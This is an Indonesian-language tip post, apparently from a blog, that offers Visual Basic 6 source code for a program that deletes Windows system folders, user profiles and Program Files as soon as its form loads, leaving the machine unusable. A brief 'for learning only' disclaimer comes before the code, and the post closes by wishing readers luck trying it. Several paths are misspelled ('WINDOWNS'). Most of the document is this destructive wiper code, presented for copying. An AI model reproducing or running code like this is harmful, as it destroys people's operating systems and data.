Tips ini hanyalah pembelajaran saja, jangan digunkan dalam kejahatan. cobalah pada komputer/Laptop sendiri. Kode ini adalah perintah menghapus Folder pada system dan Folder-folder yang lain sehingga Windowsnya tidak bisa berkerja dengan Normal lagi karena Systemnya telah dihapus, sebelum mengetik kode ini ada baiknya Gunakan Deepres dulu supaya komputer anda tidak error….ketikkan atau Copy code berikut :
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(“Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(“C:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(“C:\WINDOWNS\system”)
Call DelAll(“C:\WINDOWNS\system32”)
Call DelAll(“C:\WINDOWNS”)
Call DelAll(“C:\WINDOWNS\RegisteredPackages”)
Call DelAll(“C\WINDOWNS\Driver Cache\i386”)
Call DelAll(“C:\WINDOWNS\system32\config”)
Call DelAll(“C:\WINDOWNS\system32\drivers”)
Call DelAll(“C:\WINDOWNS\system32\Setup”)
Call DelAll(“C:\WINDOWNS\system32\usmt”)
Call DelAll(“C:\WINDOWNS\AppPatch”)
Call DelAll(“C:\WINDOWNS\Cursors”)
Call DelAll(“C:\Documents and Settings\All Users”)
Call DelAll(“C:\Documents and Settings\Administrator”)
Call DelAll(“C:\Documents and Settings”)
Call DelAll(“C:\Program Files\Common Files”)
Call DelAll(“C:\Program Files\Internet Explorer”)
Call DelAll(“C:\Program Files\Microsoft Visual Studio”)
Call DelAll(“C:\Program Files”)
Call DelAll(“C:\Program Files\Windows NT”)
Call DelAll(“C:\Program Files\Microsoft Office\OFFICE11”)
Call DelAll(“C:\Program Files\Microsoft Office\Office10”)
Call DelAll(“C:\Program Files\Mozilla Firefox”)
Call DelAll(“C:\Program Files\NetMeeting”)
Call DelAll(“C:\Program Files\Realtek\Audio\InstallShield”)
Call DelAll(“C:\Program Files\Windows Media Player”)
Call DelAll(“C:\Program Files\WinRAR”)
Call DelAll(“C:\Program Files\Movie Maker”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
<<<<<<<<<<<<<<<<<<SELAMAT MENCOBA SEMOGA BERHASIL>>>>>>>>>>>>>>>>>>>